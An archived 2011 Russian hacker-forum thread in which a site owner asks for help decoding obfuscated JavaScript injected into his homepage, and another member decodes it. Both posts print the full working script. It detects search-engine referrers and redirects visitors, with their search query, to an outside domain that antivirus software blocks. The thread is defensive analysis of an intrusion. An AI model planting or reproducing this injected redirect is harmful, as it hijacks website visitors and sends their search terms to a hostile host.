Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Расшифруйте Js файл

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Расшифруйте Js файл
Имя
Сообщение << Старые топики   Новые топики >>
Расшифруйте Js файл - 2011-08-01 18:02:17.900000   
Igorello8323

Сообщений: 4
Оценки: 0
Присоединился: 2011-05-02 18:50:19.143333
Добрый вечер. Есть сайт. При заходе на него с поисковой системы меня часто перебрасывает на другой сайт. Покапашись в исходном коде главной страницы обнаружил работающий js непонятно откуда взявшийся. Вот собственно и он:
function i( string ){var ret='',i = 0;for ( i = string.length-1;i&gt;=0;i--){ret+=string.charAt(i);}return ret;}function l(h) {return parseInt(h,16);}var r=document.referrer;if (r.indexOf('google.') &gt; -1 || r.indexOf('yahoo.') &gt; -1 || r.indexOf('yandex.') &gt; -1 || r.indexOf('bing.com.') &gt; -1 || r.indexOf('yahoo.') &gt; -1 || r.indexOf('rambler.') &gt; -1 || r.indexOf('go.mail.') &gt; -1){document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3Esp_redirect%20%3D%20%7B%7D%3Bsp_redirect.searchers%20%3D%20%5B%20%5B/google%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.yahoo%5C./i%2C%20/%28%5C%3F%7C%26%29p%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/bing%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.aol%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/ask%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/altavista%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.lycos%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/alltheweb%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/yandex%5C./i%2C%20/%28%5C%3F%7C%26%29text%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/%28nova%5C.%7Csearch%5C.%29%3Frambler%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/gogo%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/go%5C.mail%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/nigma%5C./i%2C%20/%28%5C%3F%7C%26%29s%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%5D%3Bsp_redirect.sp_redirect%20%3D%20function%28referer%29%20%7B%20var%20query%3Dnull%3B%20for%28var%20i%3D0%3B%20i%3Csp_redirect.searchers.length%3B%20i++%29%20%7B%20%20var%20se%20%3D%20sp_redirect.searchers%5Bi%5D%3B%20%20if%20%28referer.match%28se%5B0%5D%29%29%20%7B%20%20%20query%20%3D%20referer.match%28se%5B1%5D%29%5Bse%5B2%5D%5D%3B%20%20%20break%3B%20%20%7D%20%7D%20document.location.href%3D%27http%3A//zakachay.momentarchivhouse.ru/%27+%27%3Fwkey%3D"+(l(i('e195b'))+345-742249)+"%27+%27%27+%28query%3F%20%27%26query%3D%27+query%20%3A%20%27%27%29%3B%7D%3Bsp_redirect.sp_redirect%28document.referrer%29%3B%3C/script%3E")); } Помогите расшифровать!
Post #: 1
RE: Расшифруйте Js файл - 2011-08-01 18:33:28.970000   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
function i(string) { &nbsp;&nbsp;&nbsp; var ret = '', &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i = 0; &nbsp;&nbsp;&nbsp; for (i = string.length - 1; i &gt;= 0; i--) { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret += string.charAt(i); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; return ret; } function l(h) { &nbsp;&nbsp;&nbsp; return parseInt(h, 16); } var r = document.referrer; if (r.indexOf('google.') &gt; -1 || r.indexOf('yahoo.') &gt; -1 || r.indexOf('yandex.') &gt; -1 || r.indexOf('bing.com.') &gt; -1 || r.indexOf('yahoo.') &gt; -1 || r.indexOf('rambler.') &gt; -1 || r.indexOf('go.mail.') &gt; -1) { &nbsp;&nbsp;&nbsp; document.write(unescape("%3Csсriрt%20type%3D%22text/jаvаsсript%22%3Esp_redirect%20%3D%20%7B%7D%3Bsp_redirect.searchers%20%3D%20%5B%20%5B/google%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.yahoo%5C./i%2C%20/%28%5C%3F%7C%26%29p%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/bing%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.aol%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/ask%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/altavista%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.lycos%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/alltheweb%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/yandex%5C./i%2C%20/%28%5C%3F%7C%26%29text%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/%28nova%5C.%7Csearch%5C.%29%3Frambler%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/gogo%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/go%5C.mail%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/nigma%5C./i%2C%20/%28%5C%3F%7C%26%29s%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%5D%3Bsp_redirect.sp_redirect%20%3D%20function%28referer%29%20%7B%20var%20query%3Dnull%3B%20for%28var%20i%3D0%3B%20i%3Csp_redirect.searchers.length%3B%20i++%29%20%7B%20%20var%20se%20%3D%20sp_redirect.searchers%5Bi%5D%3B%20%20if%20%28referer.match%28se%5B0%5D%29%29%20%7B%20%20%20query%20%3D%20referer.match%28se%5B1%5D%29%5Bse%5B2%5D%5D%3B%20%20%20break%3B%20%20%7D%20%7D%20document.location.href%3D%27http%3A//zakachay.momentarchivhouse.ru/%27+%27%3Fwkey%3D" + (l(i('e195b')) + 345 - 742249) + "%27+%27%27+%28query%3F%20%27%26query%3D%27+query%20%3A%20%27%27%29%3B%7D%3Bsp_redirect.sp_redirect%28document.referrer%29%3B%3C/sсriрt%3E")); }
после UNESCAPE

&lt;sсriрt type="text/jаvаsсript"&gt; &nbsp;&nbsp;&nbsp; sp_redirect = {};sp_redirect.searchers = [ [/google\./i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, &nbsp;&nbsp;&nbsp; 2], [/search\.yahoo\./i, /(\?|&amp;)p=(.*?)(&amp;|$)/i, 2], [/bing\.com/i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, &nbsp;&nbsp;&nbsp; 2], [/search\.aol\./i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, 2], [/ask\.com/i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, &nbsp;&nbsp;&nbsp; 2], [/altavista\./i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, 2], [/search\.lycos\./i, /(\?|&amp;)query=(.*?)(&amp;|$)/i, &nbsp;&nbsp;&nbsp; 2], [/alltheweb\./i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, 2], [/yandex\./i, /(\?|&amp;)text=(.*?)(&amp;|$)/i, &nbsp;&nbsp;&nbsp; 2], [/(nova\.|search\.)?rambler\./i, /(\?|&amp;)query=(.*?)(&amp;|$)/i, 2], [/gogo\./i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, &nbsp;&nbsp;&nbsp; 2], [/go\.mail\./i, /(\?|&amp;)q=(.*?)(&amp;|$)/i, 2], [/nigma\./i, /(\?|&amp;)s=(.*?)(&amp;|$)/i, &nbsp;&nbsp;&nbsp; 2]];sp_redirect.sp_redirect = function(referer) { var query=null; for(var i=0; i &nbsp;&nbsp;&nbsp; &lt;sp_redirect.searchers.length; i++) { var se=s p_redirect.searchers[i]; if (referer.match(se[0])) &nbsp;&nbsp;&nbsp; { query=r eferer.match(se[1])[se[2]]; break; } } document.location.href='http://zakachay.momentarchivhouse.ru/' &nbsp;&nbsp;&nbsp; + '?wkey=" + (l(i('e195b ')) + 345 - 742249) + "'+ ''+(query? '&amp;query='+query : &nbsp;&nbsp;&nbsp; '');};sp_redirect.sp_redirect(document.referrer);&lt;/sсriрt&gt;
Post #: 2
RE: Расшифруйте Js файл - 2011-08-01 18:38:57.146666   
Igorello8323

Сообщений: 4
Оценки: 0
Присоединился: 2011-05-02 18:50:19.143333
Спасибо! Был редирект на сайт "http://zakachay.momentarchivhouse.ru/' касперский на него даже не пускает.
Post #: 3
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Расшифруйте Js файл







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.